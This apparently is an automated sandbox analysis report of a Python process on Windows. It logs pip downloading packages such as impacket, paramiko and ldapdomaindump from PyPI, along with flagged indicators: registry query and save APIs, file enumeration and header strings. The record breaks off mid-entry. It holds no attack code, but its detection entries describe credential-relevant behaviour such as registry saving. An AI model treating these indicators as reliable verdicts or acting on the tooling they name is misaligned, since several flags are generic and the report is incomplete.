/packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "4f6ca53a4e2408cccc19a78db7b/param" in header "GET /packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "c28ecebffd4c08d4f2caf4f7d4fd3fd9e" in header "GET /packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "b0124dcf15e9bf8a1e20287bcb0/impac" in header "GET /packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "9d9a641194a730bda138b3dfe53f584d6" in header "GET /packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "1c58cd5230e37566e83ec2ffa0d/bcryp" in header "GET /packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "34f6962f9b9e9c71f6e5ed806e0d0ff03" in header "GET /packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "c9d1b0b2340088a0cf4bce09b18/flask" in header "GET /packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "f2ad4230dc2eb1a74edf38f1a38b9b522" in header "GET /packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "77f75bef262d8908e60d957e13c/blink" in header "GET /packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "164b7ffc8624fe9efb4221bf9af485d5c" in header "GET /packages/31/7d/164b7ffc8624fe9efb4221bf9af485d5c1e41b9ae118045d2b6dc5457d8b/click-8.5.1-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "1e41b9ae118045d2b6dc5457d8b/click" in header "GET /packages/31/7d/164b7ffc8624fe9efb4221bf9af485d5c1e41b9ae118045d2b6dc5457d8b/click-8.5.1-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "bbc12563bbf979618d17625a4e753ff7a" in header "GET /packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" Contains base62 string in header "078523e28d870d3626daa97261a/invok" in header "GET /packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive"64:T3474,Observed string: "pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/cryptography/ HTTP/1.1Host: pypi.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl.metadata HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/paramiko/ HTTP/1.1Host: pypi.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl.metadata HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/impacket/ HTTP/1.1Host: pypi.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl.metadata HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/bcrypt/ HTTP/1.1Host: pypi.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl.metadata HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/invoke/ HTTP/1.1Host: pypi.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl.metadata HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/pyasn1/ HTTP/1.1Host: pypi.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl.metadata HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/pyasn1-modules/ HTTP/1.1Host: pypi.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl.metadata HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/pycryptodomex/ HTTP/1.1Host: pypi.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/21/f9/4363334c762c2463d9d403894e83922959d9392e7cfa15bb1335e790851d/pycryptodomex-3.24.2-cp37-abi3-win_amd64.whl.metadata HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/pyopenssl/ HTTP/1.1Host: pypi.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/51/ad/2cf6d3fa2fae5c79e1ed9960c0d42badd0f94d81dd12b50604cdc839e648/pyopenssl-26.4.0-py3-none-any.whl.metadata HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/ldap3/ HTTP/1.1Host: pypi.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl.metadata HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/ldapdomaindump/ HTTP/1.1Host: pypi.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl.metadata HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /simple/flask/ HTTP/1.1Host: pypi.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: gzip, deflateAccept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01Connection: keep-alive" (Indicator: "OpenSSL 1.") Observed string: "GET /packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl.metadata HTTP/1.1Host: files.pythonhosted.orgUser-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}}Accept-Encoding: identityAccept: */*Connection: keep-alive" (Indicator: "OpenSSL 1.")65:Tb96,Found HTTPS GET request to https://pypi.org/simple/cryptography/ Found HTTPS GET request to https://files.pythonhosted.org/packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl.metadata Found HTTPS GET request to https://pypi.org/simple/paramiko/ Found HTTPS GET request to https://files.pythonhosted.org/packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl.metadata Found HTTPS GET request to https://pypi.org/simple/impacket/ Found HTTPS GET request to https://files.pythonhosted.org/packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl.metadata Found HTTPS GET request to https://pypi.org/simple/bcrypt/ Found HTTPS GET request to https://files.pythonhosted.org/packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl.metadata Found HTTPS GET request to https://pypi.org/simple/invoke/ Found HTTPS GET request to https://files.pythonhosted.org/packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl.metadata Found HTTPS GET request to https://pypi.org/simple/pyasn1/ Found HTTPS GET request to https://files.pythonhosted.org/packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl.metadata Found HTTPS GET request to https://pypi.org/simple/pyasn1-modules/ Found HTTPS GET request to https://files.pythonhosted.org/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl.metadata Found HTTPS GET request to https://pypi.org/simple/pycryptodomex/ Found HTTPS GET request to https://files.pythonhosted.org/packages/21/f9/4363334c762c2463d9d403894e83922959d9392e7cfa15bb1335e790851d/pycryptodomex-3.24.2-cp37-abi3-win_amd64.whl.metadata Found HTTPS GET request to https://pypi.org/simple/pyopenssl/ Found HTTPS GET request to https://files.pythonhosted.org/packages/51/ad/2cf6d3fa2fae5c79e1ed9960c0d42badd0f94d81dd12b50604cdc839e648/pyopenssl-26.4.0-py3-none-any.whl.metadata Found HTTPS GET request to https://pypi.org/simple/ldap3/ Found HTTPS GET request to https://files.pythonhosted.org/packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl.metadata Found HTTPS GET request to https://pypi.org/simple/ldapdomaindump/ Found HTTPS GET request to https://files.pythonhosted.org/packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl.metadata Found HTTPS GET request to https://pypi.org/simple/flask/ Found HTTPS GET request to https://files.pythonhosted.org/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl.metadata Found HTTPS GET request to https://pypi.org/simple/blinker/66:T6f8,Found registry query API: "RegQueryValueExW" in "00000000-00001164.00000000.183356.72670000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00001164.00000000.183356.72670000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00001164.00000000.183356.72670000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00001164.00000000.183356.72670000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00001164.00000000.183356.72670000.00000002.mdmp" Found registry query API: "RegSaveKeyExW" in "00000000-00001164.00000000.183356.72670000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00001164.00000000.183356.72670000.00000002.mdmp" Found registry query API: "RegOpenKeyW" in "00000000-00001164.00000000.183356.72670000.00000002.mdmp" Found registry query API: "RegSaveKeyW" in "00000000-00001164.00000000.183356.72670000.00000002.mdmp" Found registry query API: "RegEnumKeyW" in "00000000-00001164.00000000.183356.72670000.00000002.mdmp" Found registry query API: "NtQueryKey" in "00000000-00001164.00000000.183356.72670000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00001520.00000000.180024.629B6000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00001520.00000000.180024.629B6000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp"67:T899,"python.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Programs\Python\Python311\Lib\*.* (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter abc.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter aifc.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter antigravity.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter argparse.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter ast.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter asynchat.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter asyncio (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter asyncore.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter base64.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter bdb.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter bisect.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter bz2.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter calendar.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter cgi.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter cgitb.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter chunk.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter cmd.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter code.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter codecs.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter codeop.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter collections (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter colorsys.py (UID: 00000000-00008020) "python.exe" called "FindNextFileW" with parameter compileall.py (UID: 00000000-00008020)68:T8c0,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API 